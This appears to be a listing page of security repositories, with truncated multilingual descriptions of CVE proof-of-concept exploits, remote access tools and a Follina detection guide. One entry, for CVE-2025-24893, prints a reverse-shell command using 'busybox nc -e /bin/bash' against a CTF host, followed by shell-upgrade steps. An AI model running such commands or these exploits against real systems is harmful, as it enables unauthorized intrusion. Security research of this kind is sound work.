docker-CVE-2019-11043

Imagen de Docker y comandos para comprobar CVE-2019-11043 CVE: CVE-2019-11043 Descripción: En las versiones de PHP 7.1.x anteriores a 7.1.33, 7.2.x anteriores a 7.2.24 y 7.3.x anteriores a 7.3.11, en ciertas configuraciones de FPM, es posible provocar que el módulo FPM escriba más allá de los...

GenGravSSTIExploit

ES GenGravSSTIExploit es un script PoC en Python que explota una vulnerabilidad autenticada de inyección de plantillas del lado del servidor SSTI en Grav CMS versiones -p : URL objetivo en el formato https://hostname. : Número de puerto por defecto 80. Ejemplo: python GenGravSSTIExploit.py -t...

Apollo

Apollo Una herramienta de acceso remoto simple y ligera escrita en Python Apollo es una herramienta de acceso remoto multiplataforma Windows, Linux, FreeBSD y MacOS para Python 3.4+. Sus funciones son actualmente muy básicas, pero permiten la ejecución remota de código posterior a la explotación,...

CVE-2023-21716

CVE-2023-21716 Microsoft Word RTF 字体表堆损坏 Microsoft Office wwlib 中的一个漏洞允许攻击者在受害者打开恶意 RTF 文档时，以受害者的权限实现远程代码执行。攻击者可以通过电子邮件附件（或其他方式）传递此文件。 背景 Microsoft Word 是 Microsoft Office 中包含的文字处理应用程序。默认安装下，Microsoft Word 处理富文本格式（RTF）文档。此类文档主要由基于 7 位 ASCII 的关键字组成，这些关键字共同封装了各种丰富的内容。 漏洞详情 Microsoft Word 中的 RTF...

CVE-2025-24813-PoC

CVE-2025-24813-PoC Apache Tomcat 远程代码执行漏洞批量检测脚本CVE-2025-24813 免责申明： 本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。 如涉及侵权，请及时与我们联系，我们将尽快处理并删除相关内容。 更多PoC 详见纷传： https://pc.fenchuan8.com//index?forum=101158&yqm=DGR4X 利用条件较为苛刻，该脚本仅针对存在漏洞的环境进行概念性验证 使用方式：...

EvilRip

Cve-2020-5029-finder Es un pequeño script para descubrir los subdominios/IPs vulnerables a CVE-2020-5902 escrito en bash. Versión afectada En las versiones de BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 y 11.6.1-11.6.5.1, la Interfaz de Usuario de Gestión de Tráfico...

CVE-2024-50510

CVE-2024-50510 AR Para Woocommerce = 6.2 - Subida de Archivos Arbitraria No Autenticada Descripción El plugin AR for WooCommerce para WordPress es vulnerable a subidas de archivos arbitrarias debido a la falta de validación del tipo de archivo en todas las versiones hasta la 6.2 inclusive. Esto...

Joomla_CVE-2015-8562

JoomlaCVE-2015-8562 Una prueba de concepto para la vulnerabilidad CVE-2015-8562 de Joomla Object Injection RCE Introducción/Cambios Este PoC es la segunda versión de la implementación alojada en exploit-db. -Fixed regenerate session -Added the option to switch from X-Forwarded-For to User-Agent...

CVE-2018-7600

CVE-2018-7600 CVE-2018-7600 Drupal SA-CORE-2018-002 Drupalgeddon 2 的概念验证利用。 安装: $ git clone https://github.com/dwisiswant0/CVE-2018-7600 $ cd CVE-2018-7600/ $ composer install 用法: $ php exploit.php 警告! 仅供教育用途！ 参考: - https://research.checkpoint.com/uncovering-drupalgeddon-2/ -...

MSDT_CVE-2022-30190

MSDTCVE-2022-30190 本仓库从 Defender 视角讨论 Follina MSDT 漏洞 目录 关于 时间线 理解漏洞利用 IOC 列表 检测策略 测试与研究 缓解方案 参考 关于 该漏洞是 Microsoft Windows 支持诊断工具 MSDT 的远程代码执行漏洞，由 Shadow Chaser Group 的 crazyman 报告。Microsoft 现已将其跟踪为 CVE-2022-30190。该漏洞影响所有仍在接收安全更新的 Windows 版本（Windows 7+ 及 Server 2008+）。 正如安全研究员 naosec...

React2Shell-Library

Biblioteca React2Shell Una lista curada de recursos sobre CVE-2025-55182 , la vulnerabilidad crítica de Ejecución Remota de Código RCE en React Server Components conocida como "React2Shell". Objetivo: Documentar la historia, la mecánica y la remediación de la vulnerabilidad React2Shell para...

n00bRAT

n00bRAT v0.7 Es un pequeño programa en C que emula un servidor HTTP mínimo para la identificación de escáneres de seguridad. Permite controlar la máquina a través de este protocolo HTTPv0.1 falso. Este servidor n00b fue creado como RAT durante la universidad para el curso de Hacking Ético. Qué es...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC Generador de docx malicioso para explotar Ejecución remota de código en Microsoft Office Word La creación de este script se basa en CVE-2021-40444 PoC de LockedByte y en el informe de Tothi Uso Primero modifica backup.html y reemplaza el payload de PowerShell...

CVE-2023-0297

pyloadCVE-2023-0297poc pyLoad 0.5.0b3.dev31之前版本中存在一个代码注入漏洞，通过滥用js2py的功能可实现未授权远程代码执行（RCE）。 使用 CVE-2023-0297poc.exe的使用方法： -f string 文件名:IP.txt -u string 示例:http://127.0.0.1:8080...

CVE-2023-32571-POC

Inyección de Dynamic Linq a RCE - CVE-2023-32571 Acerca de la inyección de Dynamic Linq a RCE CVE-2023-32571 Recientemente, miembros del NCC Group descubrieron una vulnerabilidad en Dynamic Linq que permite a los atacantes llamar funciones de C a través de una inyección de Linq, lo que hace posib...

CVE-2025-55182-bypass

CVE-2025-55182 Bypass de Cabecera Bypass de la cabecera Next-Action para CVE-2025-55182. Consigue RCE en React RSC sin cabeceras distintivas, evadiendo reglas WAF. Hallazgo Clave La cabecera Next-Action NO es necesaria para la explotación. Vector de ataque| Cabecera Next-Action| Detección WAF...

CVE-2025-54100

CVE-2025-54100 – PoC de Análisis de Respuesta de PowerShell Un Proof-of-Concept conciso que muestra cómo CVE-2025-54100 puede conducir a la Ejecución Remota de Código RCE en Windows PowerShell 5.1 a través del análisis malicioso de HTML. Tabla de Contenidos ¿Qué es CVE-2025-54100? Cómo Funciona e...

susinternals

susinternals - de vuelta de entre los muertos por @deft @cablethief & @randomwalksp reino Esta herramienta te permite ejecutar comandos de forma remota a través del servicio PSExeSVC desde un script de Python. Se puede usar para: Autenticarse como usuario con un token primario: Autenticarse como...

CVE-2025-24893

Reverse shell para CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" mejorar la shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2025-14174-Poc

CVE-2025-14174 - Exploit PoC Resumen Este repositorio contiene un exploit de Prueba de Concepto PoC completamente funcional para CVE-2025-14174 también registrado como EUVD-2025-203113, una vulnerabilidad crítica de corrupción de memoria en el motor gráfico ANGLE. El fallo surge de una restricció...